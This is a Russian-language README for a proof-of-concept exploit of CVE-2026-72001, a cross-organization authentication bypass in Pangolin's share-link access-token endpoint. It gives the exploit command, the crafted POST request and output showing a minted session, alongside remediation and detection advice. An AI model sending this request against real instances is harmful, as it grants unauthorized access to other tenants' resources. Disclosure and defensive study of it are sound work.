PoC для CVE-2026-72001 — обход аутентификации ресурсов между организациями в Pangolin < 1.22.0 через эндпоинт access-token для share-link (CWE-639, CVSS 8.1).
Proof-of-concept для CVE-2026-72001 — уязвимости нарушенной авторизации на уровне объектов в
Pangolin (< 1.22.0), которая позволяет владельцу одной
share-ссылки на ресурс создать действительную сессию ресурса для любого другого ресурса на
экземпляре, включая ресурсы, принадлежащие другой организации, обходя все
настроенные методы аутентификации (SSO, пароль ресурса, PIN, список разрешённых email, аутентификация по заголовку).
| CVE | CVE-2026-72001 |
| Продукт | fosrl/pangolin |
| Затронуто | < 1.22.0 |
| Исправлено | 1.22.0 |
| Класс | Обход авторизации через управляемый пользователем ключ (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Аутентификация | Атакующему нужен только один действительный токен share-ссылки для любого ресурса |
| Вердикт | ПОДТВЕРЖДЕНО УЯЗВИМ (end-to-end, enforcement badger valid:true) |
Конечная точка аутентификации по share-ссылке POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) имеет две ветви. Когда запрос
содержит accessTokenId, токен проверяется, но эта проверка не привязывается к
ресурсу в URL:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken обеспечивает привязку к ресурсу только если получает resourceId:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
Поскольку обработчик никогда не передаёт resourceId, проверка пропускается: токен
проверяется против своего собственного ресурса, а сессия создаётся для ресурса, указанного
в URL. Затем создаётся сессия (request-токен badger) для ресурса-жертвы:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
Маршрут находится на неаутентифицированном роутере (unauthenticated.use("/auth", authRouter))
и не имеет ограничения скорости (в отличие от соседних маршрутов аутентификации по паролю/pincode/whitelist).
CSRF-мидлварь проверяет только статический константный заголовок (X-CSRF-Token: x-csrf-protection).
Исправление (1.22.0): обработчик передаёт resourceId в verifyResourceAccessToken, поэтому
срабатывает проверка несоответствия, и межресурсные запросы возвращают 401 "Resource ID does not match".
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
Единственный уязвимый запрос:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access дополнительно обменивает возвращённый request-токен на конечной точке
enforcement badger (/badger/exchange-session → /badger/verify-session) — тот же путь,
к которому обращается Traefik — чтобы доказать реальный доступ, а не просто возвращённую строку. В реальном развёртывании
атакующий просто предъявляет request-токен ресурсу, и Traefik/badger автоматически обменивает его.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
См. lab/setup.sh, ANALYSIS.md и
evidence/ для полного пошагового разбора и границы между уязвимой и исправленной версиями.
На любом мультитенантном / мультиорганизационном экземпляре Pangolin (self-hosted с несколькими организациями, MSP или хостинговом развёртывании) субъект, способный получить одну share-ссылку — легитимно выданную ему, утёкшую или самостоятельно выпущенную для любого контролируемого им ресурса — читает и действует от имени защищённого ресурса любого другого тенанта. Конфиденциальность и целостность каждого защищённого ресурса на экземпляре скомпрометированы (CVSS C:H/I:H).
Обновитесь до Pangolin ≥ 1.22.0. Исправление привязывает проверку access-токена к id ресурса из URL. Никакой обходной путь через конфигурацию полностью не устраняет < 1.22.0; ограничьте выдачу share-ссылок на ресурсы и смените существующие access-токены после обновления.
Ищите POST /api/v1/auth/resource/<id>/access-token, где предъявленный accessTokenId
принадлежит ресурсу, чей id ≠ <id> (межресурсное использование токена), а также
запросы аутентификации по access-токену, поступающие с высокой частотой (маршрут не имеет ограничения скорости). Записи
logAccessAudit покажут действие accessToken, чья организация токена отличается от организации ресурса.
Обнаружено / проанализировано и PoC от BiiTts (Caio Fabrício). Уязвимость сообщена VulnCheck; advisory: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.